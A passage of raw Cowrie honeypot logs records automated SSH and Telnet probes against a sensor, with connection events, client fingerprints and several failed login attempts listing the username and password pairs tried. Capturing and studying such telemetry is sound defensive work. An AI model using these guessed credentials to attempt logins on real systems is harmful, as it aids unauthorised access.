256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:45.045337Z","src_ip":"94.156.152.18","session":"b7c843065821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"YOGZVPS#2VCPU2GB","message":"login attempt [root/YOGZVPS#2VCPU2GB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:45.415136Z","src_ip":"94.156.152.18","session":"b7c843065821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55630,"dst_ip":"10.17.0.5","dst_port":23,"session":"7705bbecead4","protocol":"telnet","message":"New connection: 64.227.101.30:55630 (10.17.0.5:23) [session: 7705bbecead4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:45.423713Z"}
{"eventid":"cowrie.session.closed","duration":0.00693511962890625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:45.430540Z","src_ip":"64.227.101.30","session":"7705bbecead4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:46.544038Z","src_ip":"94.156.152.18","session":"b7c843065821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.93708109855652,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:49.097085Z","src_ip":"64.227.101.30","session":"f28e5e5b0c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60902,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdb80a71d51","protocol":"telnet","message":"New connection: 64.227.101.30:60902 (10.17.0.5:23) [session: acdb80a71d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:49.444396Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33294,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9b24dfd837","protocol":"telnet","message":"New connection: 64.227.101.30:33294 (10.17.0.5:23) [session: 2e9b24dfd837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:49.490878Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60338,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9fd5f5c214","protocol":"telnet","message":"New connection: 64.227.101.30:60338 (10.17.0.5:23) [session: 4c9fd5f5c214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:50.451714Z"}
{"eventid":"cowrie.session.closed","duration":42.37540340423584,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:52.814712Z","src_ip":"64.227.101.30","session":"ab4b4a01de3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.38392519950867,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:53.537299Z","src_ip":"68.183.198.12","session":"7cb3b4109e70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":38826,"dst_ip":"159.203.135.109","dst_port":23,"session":"635f392d6bf7","protocol":"telnet","message":"New connection: 68.183.198.12:38826 (159.203.135.109:23) [session: 635f392d6bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:53.859844Z"}
{"eventid":"cowrie.session.closed","duration":40.72180128097534,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:55.319899Z","src_ip":"64.227.101.30","session":"b644978c7dff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37118,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a1d830f3350","protocol":"telnet","message":"New connection: 64.227.101.30:37118 (10.17.0.5:23) [session: 2a1d830f3350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:55.879315Z"}
{"eventid":"cowrie.session.closed","duration":42.50532817840576,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:56.933737Z","src_ip":"68.183.198.12","session":"326b6b339220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.170.109.202","src_port":43822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56f06c307d0","protocol":"telnet","message":"New connection: 45.170.109.202:43822 (10.17.0.5:23) [session: e56f06c307d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:29:58.585114Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39908,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbbf69f384dc","protocol":"telnet","message":"New connection: 68.183.198.12:39908 (159.203.135.109:23) [session: dbbf69f384dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:01.237212Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39364,"dst_ip":"159.203.135.109","dst_port":23,"session":"20ee9808f701","protocol":"telnet","message":"New connection: 68.183.198.12:39364 (159.203.135.109:23) [session: 20ee9808f701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:04.742268Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":40544,"dst_ip":"10.17.0.5","dst_port":22,"session":"081989a48bb1","protocol":"ssh","message":"New connection: 78.40.217.56:40544 (10.17.0.5:22) [session: 081989a48bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:06.074213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:06.080761Z","src_ip":"78.40.217.56","session":"081989a48bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:06.224413Z","src_ip":"78.40.217.56","session":"081989a48bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@abc","message":"login attempt [root/123@abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:06.825534Z","src_ip":"78.40.217.56","session":"081989a48bb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42644,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7d34de0d49e","protocol":"telnet","message":"New connection: 64.227.101.30:42644 (10.17.0.5:23) [session: f7d34de0d49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:07.113458Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:07.971699Z","src_ip":"78.40.217.56","session":"081989a48bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.3810858726501465,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:10.123216Z","src_ip":"68.183.198.12","session":"20ee9808f701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44454,"dst_ip":"10.17.0.5","dst_port":23,"session":"e905d7d1619f","protocol":"telnet","message":"New connection: 64.227.101.30:44454 (10.17.0.5:23) [session: e905d7d1619f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:10.388605Z"}
{"eventid":"cowrie.session.closed","duration":15.083587408065796,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:13.668518Z","src_ip":"45.170.109.202","session":"e56f06c307d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.68867063522339,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:17.360558Z","src_ip":"64.227.101.30","session":"79dcf79e8bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":57616,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6a3e7811d2a","protocol":"ssh","message":"New connection: 43.165.185.71:57616 (10.17.0.5:22) [session: b6a3e7811d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:20.078603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:20.084880Z","src_ip":"43.165.185.71","session":"b6a3e7811d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:20.272073Z","src_ip":"43.165.185.71","session":"b6a3e7811d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"test","message":"login attempt [student/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:21.057361Z","src_ip":"43.165.185.71","session":"b6a3e7811d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"d936f2f077d0","protocol":"telnet","message":"New connection: 64.227.101.30:49538 (10.17.0.5:23) [session: d936f2f077d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:21.124703Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47750,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbdc2e3deab2","protocol":"telnet","message":"New connection: 64.227.101.30:47750 (10.17.0.5:23) [session: dbdc2e3deab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:21.197217Z"}
{"eventid":"cowrie.session.closed","duration":0.953685998916626,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:22.150769Z","src_ip":"64.227.101.30","session":"dbdc2e3deab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:22.248895Z","src_ip":"43.165.185.71","session":"b6a3e7811d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.28345561027527,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:22.807561Z","src_ip":"64.227.101.30","session":"7eb3485978f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.299516677856445,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:25.209039Z","src_ip":"68.183.198.12","session":"98190b8bf5e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.508981466293335,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:27.999768Z","src_ip":"64.227.101.30","session":"2e9b24dfd837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.620322704315186,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:29.064617Z","src_ip":"64.227.101.30","session":"acdb80a71d51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":44370,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c737b648b0a","protocol":"telnet","message":"New connection: 68.183.198.12:44370 (159.203.135.109:23) [session: 8c737b648b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:34.837554Z"}
{"eventid":"cowrie.session.closed","duration":69.1532952785492,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:37.072602Z","src_ip":"64.227.101.30","session":"8df52cc6a449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371623277664185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:37.484927Z","src_ip":"64.227.101.30","session":"f7d34de0d49e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45146,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed6dabf1c11d","protocol":"telnet","message":"New connection: 68.183.198.12:45146 (159.203.135.109:23) [session: ed6dabf1c11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:39.176561Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":45158,"dst_ip":"159.203.135.109","dst_port":23,"session":"62540b649abf","protocol":"telnet","message":"New connection: 68.183.198.12:45158 (159.203.135.109:23) [session: 62540b649abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:39.236748Z"}
{"eventid":"cowrie.session.closed","duration":45.882426261901855,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:39.742055Z","src_ip":"68.183.198.12","session":"635f392d6bf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.68797445297241,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:46.925044Z","src_ip":"68.183.198.12","session":"dbbf69f384dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00395512580872,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:49.263079Z","src_ip":"64.227.101.30","session":"a24b298b8aaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57952,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d63f7a8f052","protocol":"telnet","message":"New connection: 64.227.101.30:57952 (10.17.0.5:23) [session: 1d63f7a8f052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:51.267916Z"}
{"eventid":"cowrie.session.closed","duration":120.00399327278137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:54.400749Z","src_ip":"64.227.101.30","session":"6753ff5ae309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":114.24808502197266,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:55.817820Z","src_ip":"64.227.101.30","session":"aa02eef818f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.506237506866455,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:58.630766Z","src_ip":"64.227.101.30","session":"d936f2f077d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":35426,"dst_ip":"10.17.0.5","dst_port":22,"session":"18291555c7b3","protocol":"ssh","message":"New connection: 78.40.217.56:35426 (10.17.0.5:22) [session: 18291555c7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:58.699528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:58.707238Z","src_ip":"78.40.217.56","session":"18291555c7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:58.852313Z","src_ip":"78.40.217.56","session":"18291555c7b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser1","password":"12345","message":"login attempt [testuser1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:30:59.464126Z","src_ip":"78.40.217.56","session":"18291555c7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:00.617945Z","src_ip":"78.40.217.56","session":"18291555c7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.22192478179932,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:00.816872Z","src_ip":"64.227.101.30","session":"40ade4df495c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.50890874862671,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:01.897394Z","src_ip":"64.227.101.30","session":"e905d7d1619f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":48904,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2f967d5ef92","protocol":"telnet","message":"New connection: 68.183.198.12:48904 (159.203.135.109:23) [session: a2f967d5ef92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:03.376063Z"}
{"eventid":"cowrie.session.closed","duration":96.61481547355652,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:05.546089Z","src_ip":"64.227.101.30","session":"c692cb14478a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34906,"dst_ip":"10.17.0.5","dst_port":23,"session":"a10d0bf02f1a","protocol":"telnet","message":"New connection: 64.227.101.30:34906 (10.17.0.5:23) [session: a10d0bf02f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:11.108591Z"}
{"eventid":"cowrie.session.closed","duration":40.229535818099976,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:15.066971Z","src_ip":"68.183.198.12","session":"8c737b648b0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":60538,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf5daf0218a","protocol":"ssh","message":"New connection: 43.165.185.71:60538 (10.17.0.5:22) [session: 2cf5daf0218a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:15.118214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:31:15.125412Z","src_ip":"43.165.185.71","session":"2cf5daf0218a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-e